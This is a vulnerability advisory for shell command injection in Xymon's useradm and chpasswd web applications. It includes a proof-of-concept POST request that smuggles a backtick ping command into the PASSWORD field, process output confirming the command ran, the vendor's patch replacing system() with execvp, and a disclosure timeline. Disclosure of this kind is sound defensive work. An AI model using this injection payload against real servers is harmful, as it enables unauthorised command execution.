Software

Xymon http://xymon.sourceforge.net/

Versions affected: All 4.3 versions prior to 4.3.25 as well as 4.1.x and 4.2.x

Shell command injection in the “useradm” and “chpasswd” web applications

The useradm and chpasswd web applications may be used to administer passwords for user authentication in Xymon, acting as a web frontend to the Apache “htpasswd” application. The htpasswd command is invoked via a shell command, and it is therefore possible to inject arbitrary commands and have them executed with the privileges of the webserver (CGI) user.

This bug can only be triggered by web users with access to the Xymon webpages, who are already authenticated as Xymon users. However, when combined with CVE-2016-2055 which allows for off-line cracking of password hashes, this bug may be exploitable by others.

Technical Background

The following request will escape the intended command and append another command (in this case a ping).

POST /xymon-seccgi/useradm.sh HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost/xymon-seccgi/useradm.sh
Cookie: pagepath=; host=kali-mk-local
Authorization: Basic [removed]
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

USERNAME=a&PASSWORD=';`ping -c 22 127.0.0.1` #&SendCreate=Create&USERLIST=

The process list on the host shows that the malicious command is executed:

# ps aux

[output reduced]

www-data 29422 0.0 0.0 4336 748 ? S 21:27 0:00 sh -c htpasswd -b ‘/usr/lib/xymon/server/etc/xymonpasswd’ ‘a’ ”;`ping -c 22 127.0.0.1` #’ www-data 29424 0.0 0.0 8460 752 ? S 21:27 0:00 ping -c 22 127.0.0.1

The USERNAME POST parameter is affected by this behavior as well.

Solution

The following patch has been created by the authors. They now more carefully handle the parameters used to construct the complete string.

Index: web/chpasswd.c
===================================================================
--- web/chpasswd.c	(revision 7856)
+++ web/chpasswd.c	(working copy)
@@ -14,6 +14,7 @@
 #include <string.h>
 #include <stdlib.h>
 #include <sys/wait.h>
+#include <unistd.h>
 
 #include "libxymon.h"
 
@@ -152,33 +153,69 @@
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password has invalid characters! Use alphanumerics and/or _ - . , @ / = ^'); </SCRIPT>\n";
 			}
 			else {
-				const size_t bufsz = 1024 + strlen(passfile) + strlen(adduser_name) + strlen(adduser_password);
+				pid_t childpid;
+				int n, ret;
 
-				cmd = (char *)malloc(bufsz);
-				snprintf(cmd, bufsz, "htpasswd -bv '%s' '%s' '%s'",
-					 passfile, adduser_name, adduser_password);
-				n = system(cmd); ret = WEXITSTATUS(n);
-				if ((n == -1) || (ret != 0)) {
+				childpid = fork();
+				if (childpid < 0) {
+				        /* Fork failed */
+				        errprintf("Could not fork child\n");
+				        exit(1);
+				}
+				else if (childpid == 0) {
+				        /* child */
+				        char *cmd;
+				        char **cmdargs;
+				
+				        cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				        cmdargs[0] = cmd = strdup("htpasswd");
+				        cmdargs[1] = "-bv";
+				        cmdargs[2] = strdup(passfile);
+				        cmdargs[3] = strdup(adduser_name);
+				        cmdargs[4] = strdup(adduser_password);
+				        cmdargs[5] = '\0';
+				
+				        execvp(cmd, cmdargs);
+				        exit(127);
+				}
+				
+				/* parent waits for htpasswd to finish */
+				if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Existing Password incorrect'); </SCRIPT>\n";
+					break;
+				}
 
+				childpid = fork();
+				if (childpid < 0) {
+				        /* Fork failed */
+				        errprintf("Could not fork child\n");
+				        exit(1);
 				}
-				else {
+				else if (childpid == 0) {
+				        /* child */
+				        char *cmd;
+				        char **cmdargs;
+				
+				        cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				        cmdargs[0] = cmd = strdup("htpasswd");
+				        cmdargs[1] = "-b";
+				        cmdargs[2] = strdup(passfile);
+				        cmdargs[3] = strdup(adduser_name);
+				        cmdargs[4] = strdup(adduser_password1);
+				        cmdargs[5] = '\0';
+				
+				        execvp(cmd, cmdargs);
+				        exit(127);
+				}
+				
+				/* parent waits for htpasswd to finish */
+				if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
+					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
 
-					xfree(cmd);
-					cmd = (char *)malloc(bufsz);
-					snprintf(cmd, bufsz, "htpasswd -b '%s' '%s' '%s'",
-					 	passfile, adduser_name, adduser_password1);
-					n = system(cmd); ret = WEXITSTATUS(n);
-					if ((n == -1) || (ret != 0)) {
-						infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
-
-					}
-					else {
-						infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password changed'); </SCRIPT>\n";
-					}
 				}
-
-				xfree(cmd);
+				else {
+					infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Password changed'); </SCRIPT>\n";
+				}
 			}
 		}
 		break;
Index: web/useradm.c
===================================================================
--- web/useradm.c	(revision 7856)
+++ web/useradm.c	(working copy)
@@ -14,6 +14,7 @@
 #include <string.h>
 #include <stdlib.h>
 #include <sys/wait.h>
+#include <unistd.h>
 
 #include "libxymon.h"
 
@@ -116,46 +117,79 @@
 
 	  case ACT_CREATE:	/* Add a user */
 		{
-			char *cmd;
+			pid_t childpid;
 			int n, ret;
 
-			const size_t bufsz = 1024 + strlen(passfile) + strlen(adduser_name) + strlen(adduser_password);
-			cmd = (char *)malloc(bufsz);
-			snprintf(cmd, bufsz, "htpasswd -b '%s' '%s' '%s'",
-				 passfile, adduser_name, adduser_password);
-			n = system(cmd); ret = WEXITSTATUS(n);
-			if ((n == -1) || (ret != 0)) {
+			childpid = fork();
+			if (childpid < 0) {
+				/* Fork failed */
+				errprintf("Could not fork child\n");
+				exit(1);
+			}
+			else if (childpid == 0) {
+				/* child */
+				char *cmd;
+				char **cmdargs;
+
+				cmdargs = (char **) calloc(4 + 2, sizeof(char *));
+				cmdargs[0] = cmd = strdup("htpasswd");
+				cmdargs[1] = "-b";
+				cmdargs[2] = strdup(passfile);
+				cmdargs[3] = strdup(adduser_name);
+				cmdargs[4] = strdup(adduser_password);
+				cmdargs[5] = '\0';
+
+				execvp(cmd, cmdargs);
+				exit(127);
+			}
+
+			/* parent waits for htpasswd to finish */
+			if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update FAILED'); </SCRIPT>\n";
 
 			}
 			else {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('User added/updated'); </SCRIPT>\n";
 			}
-
-			xfree(cmd);
 		}
 		break;
 
 
 	  case ACT_DELETE:	/* Delete a user */
 		{
-			char *cmd;
+			pid_t childpid;
 			int n, ret;
 
-			const size_t bufsz = 1024 + strlen(passfile) + strlen(deluser_name);
-			cmd = (char *)malloc(bufsz);
-			snprintf(cmd, bufsz, "htpasswd -D '%s' '%s'",
-					passfile, deluser_name);
-			n = system(cmd); ret = WEXITSTATUS(n);
-			if ((n == -1) || (ret != 0)) {
+			childpid = fork();
+			if (childpid < 0) {
+				/* Fork failed */
+				errprintf("Could not fork child\n");
+				exit(1);
+			}
+			else if (childpid == 0) {
+				/* child */
+				char *cmd;
+				char **cmdargs;
+
+				cmdargs = (char **) calloc(3 + 2, sizeof(char *));
+				cmdargs[0] = cmd = strdup("htpasswd");
+				cmdargs[1] = "-D";
+				cmdargs[2] = strdup(passfile);
+				cmdargs[3] = strdup(deluser_name);
+				cmdargs[4] = '\0';
+
+				execvp(cmd, cmdargs);
+				exit(127);
+			}
+
+			/* parent waits for htpasswd to finish */
+			if ((waitpid(childpid, &n, 0) == -1) || (WEXITSTATUS(n) != 0)) {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('Update delete FAILED'); </SCRIPT>\n";
 
 			}
 			else {
 				infomsg = "<SCRIPT LANGUAGE=\"Javascript\" type=\"text/javascript\"> alert('User deleted'); </SCRIPT>\n";
 			}
-
-			xfree(cmd);
 		}
 		break;
 	}

Time Line

2016-01-06 – Reported vulnerability to authors

2016-02-08 – Vulnerability has been fixed in Xymon version 4.3.25.

Resources

https://sourceforge.net/p/xymon/news/2016/02/xymon-4325-released—security-update/